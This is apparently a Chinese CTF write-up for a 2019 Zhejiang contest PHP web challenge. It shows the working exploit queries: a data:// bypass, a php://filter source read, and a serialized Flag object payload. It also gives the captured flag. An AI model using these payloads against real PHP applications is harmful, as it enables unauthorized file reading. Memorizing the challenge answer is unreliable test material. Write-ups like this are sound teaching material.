前言
题目地址
https://www.ctfhub.com/#/challenge
浙江省大学生网络与信息安全竞赛-决赛-2019-Web-逆转思维
0x00
进入首页php
代码如下
1 |
|
get
请求接收三个参数,第一个if判断成立可以通过data
协议
1 | /?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY= |
第二个if判断不能包含flag
字符,因此我们可以先通过php://filter
协议获取useless.php
文件源码
1 | ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php |
得到base64
编码文件如下
1 | PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo= |
解密后获取useless.php
源码如下
1 |
|
对于password
的传值,通过构造flag.php
的序列化,让password
等于flag.php
的序列化输出就行。
1 |
|
得到的结果为
1 | O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} |
最终get
请求参数为
1 | ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} |
0x01
flag为ctfhub{19a6a30e7f1e76f5a60dc63c}